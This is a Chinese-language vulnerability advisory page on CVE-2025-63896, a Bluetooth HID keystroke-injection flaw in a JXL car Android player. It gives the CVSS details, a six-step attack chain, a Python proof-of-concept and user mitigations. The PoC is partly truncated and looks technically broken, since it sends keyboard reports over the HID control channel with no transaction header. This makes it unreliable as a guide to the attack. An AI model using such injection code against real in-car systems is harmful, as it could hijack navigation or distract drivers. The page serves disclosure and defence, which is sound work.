IPBUF安全漏洞报告
English
CVE-2025-63896 CVSS 7.6 高危

CVE-2025-63896 JXL车载Android播放器蓝牙HID按键注入漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-63896
漏洞类型
输入验证/按键注入
CVSS评分
7.6 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JXL 9 Inch Car Android Double Din Player Android v12.0

相关标签

CVE-2025-63896蓝牙安全HID攻击按键注入JXL车载播放器Android v12.0车联网安全输入验证绕过

漏洞概述

CVE-2025-63896是JXL 9英寸车载安卓播放器Android v12.0版本中的一个高危安全漏洞。该漏洞存在于蓝牙人机接口设备(HID)功能模块中,攻击者可以通过伪造蓝牙HID设备向目标设备注入任意按键指令。由于车载娱乐系统通常与车辆控制系统存在一定程度的集成,恶意按键注入可能导致驾驶员分心、导航系统被劫持、电话功能被滥用等安全风险。此漏洞无需认证即可利用,且攻击者只需处于目标设备蓝牙信号范围内即可发起攻击,具有较高的实际威胁性。CVSS 3.1评分7.6分,主要风险在于完整性影响(高)和可用性影响(低)。

技术细节

该漏洞的根本原因在于JXL车载Android播放器对蓝牙HID连接的认证和验证机制不完善。攻击者可以伪造一个蓝牙HID设备(如蓝牙键盘或蓝牙遥控器),利用HID协议的标准配对流程与目标播放器建立连接。由于系统未正确验证HID设备的合法性,攻击者发送的按键事件会被系统直接处理并传递给上层应用。攻击者可以注入任意键盘输入,可能包括系统命令、URL跳转、应用切换等操作。在车载环境中,这可能导致娱乐系统异常、导航目的地被篡改、或在驾驶过程中分散驾驶员注意力。攻击向量为相邻网络(蓝牙范围),无需用户交互,攻击门槛较低。

攻击链分析

STEP 1
步骤1
攻击者进入目标车载播放器的蓝牙信号覆盖范围内(通常10米以内)
STEP 2
步骤2
攻击者使用支持HID配置文件的蓝牙设备或软件(如bluez工具)扫描并识别目标JXL播放器
STEP 3
步骤3
攻击者伪装成合法的蓝牙HID设备(键盘或遥控器),发起蓝牙配对请求
STEP 4
步骤4
由于播放器缺少设备真实性验证,配对成功建立HID连接
STEP 5
步骤5
攻击者通过HID通道向播放器注入恶意按键事件,触发系统响应
STEP 6
步骤6
恶意按键可导致应用切换、导航劫持、电话骚扰或驾驶员注意力分散等危害

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-63896 PoC - Bluetooth HID Keystroke Injection # Target: JXL 9 Inch Car Android Double Din Player Android v12.0 import bluetooth import struct import time class JXL_HID_Injector: def __init__(self, target_name="JXL Android Player"): self.target_name = target_name self.bt_socket = None def discover_devices(self): """Discover nearby Bluetooth devices""" print("Scanning for Bluetooth devices...") nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True) for addr, name in nearby_devices: if self.target_name in str(name): print(f"Found target: {name} ({addr})") return addr return None def connect_hid(self, target_addr): """Establish HID connection to target device""" # HID Report Descriptor for keyboard hid_descriptor = bytes([ 0x05, 0x01, # Usage Page (Generic Desktop) 0x09, 0x06, # Usage (Keyboard) 0xA1, 0x01, # Collection (Application) 0x05, 0x07, # Usage Page (Key Codes) # ... standard HID keyboard descriptor ]) # Connect using HID profile self.bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) self.bt_socket.connect((target_addr, 0x0011)) # HID Control channel print("HID connection established") def inject_keystroke(self, key_code): """Inject arbitrary keystroke to target device""" # HID Input Report format for keyboard # Modifier keys (1 byte) + Reserved (1 byte) + Key codes (6 bytes) report = struct.pack('8B', 0x00, 0x00, key_code, 0x00, 0x00, 0x00, 0x00, 0x00) self.bt_socket.send(report) print(f"Injected keycode: {hex(key_code)}") def inject_command(self, command): """Inject a command string""" key_map = { 'a': 0x04, 'b': 0x05, 'ENTER': 0x58, # ... standard USB HID keycodes } for char in command: if char.lower() in key_map: self.inject_keystroke(key_map[char.lower()]) time.sleep(0.1) # Usage Example # injector = JXL_HID_Injector() # target = injector.discover_devices() # if target: # injector.connect_hid(target) # injector.inject_command("settings")

影响范围

JXL 9 Inch Car Android Double Din Player Android v12.0

防御指南

临时缓解措施
在官方修复发布前,建议用户关闭车载娱乐系统的蓝牙可见性功能,停止不必要的蓝牙配对;如需使用蓝牙功能,仅与可信设备配对;定期检查系统设置中的已配对设备列表,删除未知设备;避免在公共场所停车时保持蓝牙开启状态,降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表